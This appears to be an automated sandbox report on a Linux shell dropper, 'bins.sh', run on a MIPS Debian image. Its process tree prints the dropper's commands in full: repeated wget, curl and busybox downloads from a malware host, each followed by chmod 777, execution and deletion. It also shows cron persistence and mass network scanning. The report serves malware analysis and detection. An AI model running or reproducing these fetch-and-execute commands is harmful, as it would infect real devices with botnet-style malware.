Analysis

  • max time kernel
    123s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    16/11/2024, 18:47

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241116-xe665svrhq
  • SHA256 b3d0de8b7a3fd8472b95b94e6a10f7106ca89eac14ba8f6ad80bc88279b2245f
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1133) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 33 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:700
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:703
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:709
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:728
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:731
        • /bin/chmod
          chmod 777 GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
          • File and Directory Permissions Modification
          PID:732
        • /tmp/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          ./GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
          • Executes dropped EXE
          PID:733
        • /bin/rm
          rm GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
          2⤵
            PID:735
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:736
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:737
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:784
          • /bin/chmod
            chmod 777 VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
            • File and Directory Permissions Modification
            PID:785
          • /tmp/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            ./VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
            • Executes dropped EXE
            PID:786
          • /bin/rm
            rm VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
            2⤵
              PID:788
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:789
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:790
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:798
            • /bin/chmod
              chmod 777 NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              2⤵
              • File and Directory Permissions Modification
              PID:803
            • /tmp/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              ./NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              2⤵
              • Executes dropped EXE
              PID:804
            • /bin/rm
              rm NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
              2⤵
                PID:807
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:809
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:831
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:833
              • /bin/chmod
                chmod 777 oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                2⤵
                • File and Directory Permissions Modification
                PID:834
              • /tmp/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                ./oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                2⤵
                • Executes dropped EXE
                PID:835
              • /bin/rm
                rm oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                2⤵
                  PID:837
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:838
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:839
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:841
                • /bin/chmod
                  chmod 777 nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                  2⤵
                  • File and Directory Permissions Modification
                  PID:842
                • /tmp/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                  ./nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                  2⤵
                  • Executes dropped EXE
                  PID:843
                • /bin/rm
                  rm nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                  2⤵
                    PID:845
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:846
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                    2⤵
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:847
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:849
                  • /bin/chmod
                    chmod 777 Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                    2⤵
                    • File and Directory Permissions Modification
                    PID:850
                  • /tmp/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                    ./Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                    2⤵
                    • Executes dropped EXE
                    PID:851
                  • /bin/rm
                    rm Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                    2⤵
                      PID:853
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:854
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:855
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:857
                    • /bin/chmod
                      chmod 777 sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                      2⤵
                      • File and Directory Permissions Modification
                      PID:858
                    • /tmp/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                      ./sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:859
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:861
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                            • Reads runtime system information
                            PID:862
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:863
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:864
                        • /bin/rm
                          rm sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                          2⤵
                            PID:866
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
                            2⤵
                            • System Network Configuration Discovery
                            PID:869
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
                            2⤵
                            • System Network Configuration Discovery
                            PID:870
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:872
                          • /bin/chmod
                            chmod 777 6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
                            2⤵
                            • File and Directory Permissions Modification
                            PID:957
                          • /tmp/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
                            ./6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
                            2⤵
                            • Executes dropped EXE
                            PID:958
                          • /bin/rm
                            rm 6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
                            2⤵
                              PID:960
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
                              2⤵
                              • System Network Configuration Discovery
                              PID:961
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
                              2⤵
                              • System Network Configuration Discovery
                              PID:962
                            • /bin/busybox
                              /bin/busybox wget http://conn.masjesu.zip/bins/iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
                              2⤵
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:963
                            • /bin/chmod
                              chmod 777 iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
                              2⤵
                              • File and Directory Permissions Modification
                              PID:964
                            • /tmp/iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
                              ./iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
                              2⤵
                              • Executes dropped EXE
                              • System Network Configuration Discovery
                              PID:965
                            • /bin/rm
                              rm iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
                              2⤵
                              • System Network Configuration Discovery
                              PID:967
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
                              2⤵
                              • System Network Configuration Discovery
                              PID:968
                            • /usr/bin/curl
                              curl -O http://conn.masjesu.zip/bins/na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
                              2⤵
                              • Reads runtime system information
                              • System Network Configuration Discovery
                              PID:969
                            • /bin/busybox
                              /bin/busybox wget http://conn.masjesu.zip/bins/na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
                              2⤵
                              • System Network Configuration Discovery
                              • Writes file to tmp directory
                              PID:970
                            • /bin/chmod
                              chmod 777 na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
                              2⤵
                              • File and Directory Permissions Modification
                              PID:971
                            • /tmp/na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
                              ./na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
                              2⤵
                              • Executes dropped EXE
                              PID:972
                            • /bin/rm
                              rm na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
                              2⤵
                                PID:974
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/ZvBqjEsV7Kyxi49PhGENCfggNwTaO8Tg1p
                                2⤵
                                • System Network Configuration Discovery
                                PID:975

                            Network

                                  MITRE ATT&CK Enterprise v15

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB

                                  • Path /tmp/6BTiL9Zhcqr5JHtprU8DGL8g126BQHnHFB
                                  • Size 111KB
                                  • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                                  • MD5 SHA1 SHA512 SSDEEP

                                  GkADRUpSSm0RUj5aype8y9pTa8mHIFil12

                                  • Path /tmp/GkADRUpSSm0RUj5aype8y9pTa8mHIFil12
                                  • Size 112KB
                                  • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                  • MD5 SHA1 SHA512 SSDEEP

                                  Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2

                                  • Path /tmp/Hogtnd3efkwUHnMepgHdHPvWiWBmUQWlJ2
                                  • Size 119KB
                                  • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                  • MD5 SHA1 SHA512 SSDEEP

                                  NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW

                                  • Path /tmp/NxOKeQqJpqtiwL2f51z5J6MoV9FtbXTojW
                                  • Size 151KB
                                  • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                  • MD5 SHA1 SHA512 SSDEEP

                                  VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg

                                  • Path /tmp/VmHt9FMDbrM3FgMrbPgQYDbpHDTy31MKUg
                                  • Size 98KB
                                  • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                  • MD5 SHA1 SHA512 SSDEEP

                                  iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL

                                  • Path /tmp/iPItcDYSy1tH5tAqHilmY5ndLpsak3RwqL
                                  • Size 127KB
                                  • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                  • MD5 SHA1 SHA512 SSDEEP

                                  nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf

                                  • Path /tmp/nMsxwD6gLyLM1F7ocWKzplsviV3stfymdf
                                  • Size 99KB
                                  • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                  • MD5 SHA1 SHA512 SSDEEP

                                  na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU

                                  • Path /tmp/na686Ovu8VKBqCy4ptanvLaMbFGFVMgfxU
                                  • Size 111KB
                                  • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                  • MD5 SHA1 SHA512 SSDEEP

                                  oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D

                                  • Path /tmp/oBBq6SVHUzoSZyAT0lDXld4EFqom228J9D
                                  • Size 117KB
                                  • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                  • MD5 SHA1 SHA512 SSDEEP

                                  sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr

                                  • Path /tmp/sRBGspVlVw5I18dFQwCPO5I5h8LIdJd9sr
                                  • Size 151KB
                                  • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                  • MD5 SHA1 SHA512 SSDEEP

                                  tmp.OumZRT

                                  • Path /var/spool/cron/crontabs/tmp.OumZRT
                                  • Size 210B
                                  • SHA256 bd2c97d1aad18cc05e857ca1de35744c8df7a48a2ca46f1f0b0a6f453d9d317e
                                  • MD5 SHA1 SHA512